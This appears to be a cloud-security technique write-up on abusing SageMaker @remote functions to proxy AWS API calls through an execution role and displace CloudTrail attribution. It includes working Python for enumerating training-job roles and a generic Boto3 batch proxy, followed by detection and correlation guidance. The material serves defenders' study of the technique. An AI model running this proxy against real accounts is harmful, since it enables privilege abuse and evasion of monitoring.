Proxying AWS API calls through SageMaker remote functions

How the technique works

The SageMaker Python SDK provides an @remote decorator that packages a local Python function and runs it as a SageMaker training job. The SDK uploads the function and its dependencies, submits CreateTrainingJob, and returns the serialized result to the caller. Code inside the function runs on SageMaker-managed training compute with the job’s execution-role credentials.^[1][2]

An attacker with an abused AWS principal can use this feature as an API proxy. The local principal only needs the permissions and storage access required to submit the job, including sagemaker:CreateTrainingJob and iam:PassRole for the selected execution role. The remote function can then instantiate Boto3 clients and call any AWS API authorized to that execution role.

This separates the initiating identity from the identity performing downstream actions:

1. The abused principal packages the function and calls SageMaker.
2. CloudTrail records CreateTrainingJob against sagemaker.amazonaws.com with the abused principal in userIdentity.
3. SageMaker assumes the execution role specified in RoleArn.
4. The remote Python function calls other AWS services with the execution-role session.
5. Downstream CloudTrail events identify the execution role rather than the principal that submitted the job.

The useful effect is attribution displacement: downstream activity moves from the stolen or abused principal into a SageMaker execution-role session that may blend with expected ML workloads.

flowchart TB
    A([Abused IAM principal])
    P[Local Python and SageMaker SDK]
    S[CreateTrainingJob]
    J[SageMaker remote-function training job]
    R([SageMaker execution-role session])
    C[Remote Boto3 API call]
    T[Target AWS service]
    L[CloudTrail]
    A --> P
    P -->|package @remote function| S
    S --> J
    J -->|assume RoleArn| R
    R --> C
    C --> T
    S -.->|caller remains in userIdentity| L
    T -.->|execution role in userIdentity| L
    class A,R principal
    class P,S,J,C,T,L awsResource

What the logs actually show

eventSource identifies the AWS service that received an API call. A CreateTrainingJob event therefore has eventSource: sagemaker.amazonaws.com even when a compromised IAM user or role made the request. The event’s userIdentity still records that caller. AWS documents that SageMaker control-plane calls are CloudTrail management events and that their identity fields show who generated each request.^[3]

The remote function does not make arbitrary downstream events become userIdentity.type: AWSService. Python code in the training container signs Boto3 requests with temporary credentials for the execution role. A call to S3 therefore has eventSource: s3.amazonaws.com and identifies the assumed execution role in userIdentity.

userIdentity.invokedBy: sagemaker.amazonaws.com has a narrower meaning. CloudTrail includes invokedBy when an AWS service made the request, including requests made through service principals, service roles, service-linked roles, or forward access sessions. When this field appears on SageMaker-related activity, it describes the service-mediated request path. It does not erase the role ARN or prove that an arbitrary SDK call originated from SageMaker service code.^[4]

The technique therefore does not fully hide the abused principal. It creates an attribution break:

• The initiating identity remains visible on CreateTrainingJob.
• Downstream API calls are attributed to the selected execution role.
• Some service-managed calls can additionally identify sagemaker.amazonaws.com through invokedBy.
• Correlation is required to reconnect the training job to its submitter.

Offensive value and limits

The technique is useful when the SageMaker execution role is more privileged than the abused caller, when its activity is treated as expected ML automation, or when calls from SageMaker network paths receive less scrutiny. It also gives the attacker AWS-managed compute and an S3-backed request and response channel without maintaining a separate host.

The current AmazonSageMakerFullAccess managed policy makes role selection particularly broad. It grants iam:PassRole on arn:aws:iam::*:role/* when the destination service is sagemaker.amazonaws.com. A principal with that policy can pass any role in the account that trusts SageMaker, rather than only a designated execution role.^[5]

Operational costs are substantial. Each invocation creates a visible training job, requires startup time, moves artifacts through S3, writes training logs, and incurs compute charges. The technique is weak when the execution role has no additional privileges, network isolation blocks direct service access, or defenders correlate CreateTrainingJob with subsequent execution-role activity. It displaces attribution rather than removing it.

Preconditions

The abused principal requires:

• sagemaker:CreateTrainingJob.
• sagemaker:DescribeTrainingJob to receive job state and results, plus sagemaker:ListTrainingJobs when existing jobs are used to discover plausible roles and configurations.
• iam:PassRole for a same-account execution role trusted by sagemaker.amazonaws.com.^[6]
• Read and write access to the S3 remote-function staging location used for serialized code, arguments, and results.^[7]
• Access to any caller-side KMS key or other resource required by the selected configuration.

The execution role requires:

• A trust policy allowing sagemaker.amazonaws.com to call sts:AssumeRole.
• Read and write access to the remote-function staging objects.
• Permissions required to pull the configured container image and write training logs.^[6:1]
• Access to any KMS keys used for staging data or storage volumes.
• Permissions for each downstream API operation.
• Network reachability to the target AWS service endpoints when the function makes the calls directly.

The technique loses its arbitrary API-proxy behavior when training network isolation is enabled. AWS documents that EnableNetworkIsolation prevents the training container from making inbound or outbound network calls. SageMaker can still move configured input and output data, but the Python process cannot directly reach arbitrary AWS endpoints.^[8]

The selected Region must also have quota and capacity for the requested training instance. A remote-function-compatible Python environment and container image are required; reusing an arbitrary image found through DescribeTrainingJob is not sufficient.

Execution

Existing jobs expose role ARNs, images, output locations, VPC settings, and other configuration that can guide selection of a plausible execution role and staging pattern.^[9] An existing image is reusable only when it is compatible with the remote-function runtime.

import boto3

REGION = "us-east-1"
sm = boto3.client("sagemaker", region_name=REGION)

jobs = sm.list_training_jobs(
    SortBy="CreationTime",
    SortOrder="Descending",
    MaxResults=20,
)

for summary in jobs["TrainingJobSummaries"]:
    job = sm.describe_training_job(
        TrainingJobName=summary["TrainingJobName"]
    )
    print(
        job["TrainingJobName"],
        job["RoleArn"],
        job["AlgorithmSpecification"].get("TrainingImage"),
        job["OutputDataConfig"]["S3OutputPath"],
        job.get("VpcConfig"),
    )

This enumeration is not required when the role and staging location are already known. iam:PassRole still controls whether the selected role can be attached to the new job.

Create requirements.txt in the local Python environment:

sagemaker
boto3

The proxy below accepts a batch of Boto3 operations. Batching avoids the repeated startup delay and repeated CreateTrainingJob events caused by launching one training job per API call. S3_ROOT_URI must be writable by the submitting principal and readable and writable by the execution role.

import boto3
from sagemaker.core.helper.session_helper import Session
from sagemaker.remote_function import remote

REGION = "us-east-1"
ROLE_ARN = (
    "arn:aws:iam::111122223333:"
    "role/SageMakerRemoteExecutionRole"
)
S3_ROOT_URI = (
    "s3://sagemaker-us-east-1-111122223333/"
    "remote-function"
)

sm_session = Session(
    boto_session=boto3.Session(region_name=REGION)
)


@remote(
    sagemaker_session=sm_session,
    role=ROLE_ARN,
    instance_type="ml.m5.xlarge",
    dependencies="./requirements.txt",
    s3_root_uri=S3_ROOT_URI,
)
def aws_api_batch(calls, region):
    import boto3

    results = []
    for call in calls:
        try:
            client = boto3.client(
                call["service"],
                region_name=region,
            )
            method = getattr(client, call["operation"])
            response = method(**call.get("parameters", {}))

            body = response.get("Body")
            if body is not None and hasattr(body, "read"):
                response["Body"] = body.read()

            results.append(
                {
                    "service": call["service"],
                    "operation": call["operation"],
                    "response": response,
                }
            )
        except Exception as error:
            results.append(
                {
                    "service": call["service"],
                    "operation": call["operation"],
                    "error": (
                        f"{type(error).__name__}: {error}"
                    ),
                }
            )

    return results


calls = [
    {
        "service": "sts",
        "operation": "get_caller_identity",
    },
    {
        "service": "s3",
        "operation": "list_buckets",
    },
]

for result in aws_api_batch(calls, REGION):
    print(result)

GetCallerIdentity returns the execution-role session, not the identity running the local script. Each following call uses the same training job and execution-role credential set. Method names use Boto3’s snake-case client methods, and parameters maps directly to the selected method’s keyword arguments.

Responses must be serializable because the remote decorator returns them through S3. The example consumes a response Body stream before returning it. Operations that return other streaming handles or very large data should process or store those results inside the remote function instead of returning the raw response.

The serialized function, arguments, results, exceptions, and workspace archive occupy predictable subpaths beneath the generated job-name prefix.^[7:1] S3 data events expose access to those keys but do not record the object contents. The operation list is therefore not directly visible in CloudTrail unless the downstream service events reveal it.

The method receives only the permissions of SageMakerRemoteExecutionRole. Passing a role does not grant permissions that the role lacks. The caller’s iam:PassRole scope determines which execution roles can be selected.

The decorator translates the local workspace and function into a SageMaker training job. From a local IDE, AWS requires the role setting to name the execution role SageMaker will use.^[1:1] The underlying CreateTrainingJob request exposes that ARN in requestParameters.roleArn.

Detection

Do not allowlist activity solely because eventSource or userIdentity.invokedBy contains sagemaker.amazonaws.com. Detect the control-plane handoff, then join it to activity performed by the execution role.

A focused job-submission event has this shape:

{
  "eventSource": "sagemaker.amazonaws.com",
  "eventName": "CreateTrainingJob",
  "userIdentity": {
    "type": "AssumedRole",
    "arn": "arn:aws:sts::111122223333:assumed-role/DeveloperRole/alice",
    "sessionContext": {
      "sessionIssuer": {
        "arn": "arn:aws:iam::111122223333:role/DeveloperRole"
      }
    }
  },
  "sourceIPAddress": "198.51.100.24",
  "requestParameters": {
    "trainingJobName": "remote-function-2026-09-01-120000",
    "roleArn": "arn:aws:iam::111122223333:role/SageMakerRemoteExecutionRole",
    "enableNetworkIsolation": false,
    "resourceConfig": {
      "instanceType": "ml.m5.xlarge",
      "instanceCount": 1
    }
  },
  "eventType": "AwsApiCall",
  "managementEvent": true
}

The example keeps only fields needed to identify the submitter, execution role, network-isolation state, and compute request. Actual remote-function job names and request details depend on the SDK version and configuration.

Detection inputs

Correlation logic

1. Select CreateTrainingJob events and retain the caller identity, requestParameters.roleArn, job name, event time, source address, image, S3 locations, network-isolation state, and VPC configuration.
2. Flag callers that do not normally create training jobs, execution roles not previously passed by that caller, and jobs with network isolation disabled outside the approved baseline.
3. Find downstream events whose userIdentity.sessionContext.sessionIssuer.arn equals the submitted roleArn.
4. Restrict the time window to the training job’s lifetime and group activity by execution-role access key, Region, source address, and user agent.
5. Raise severity for APIs unrelated to the role’s established ML workload, especially identity, secrets, organization, logging, security-control, or cross-service discovery operations.
6. Treat invokedBy: sagemaker.amazonaws.com as context, not a reason to suppress the event.
7. Correlate CloudWatch training-job logs and S3 staging-object data events with the job name when those telemetry sources are available.

The highest-confidence signal is a novel caller-to-execution-role pairing followed by downstream actions that the execution role has not historically performed.

Hardening

References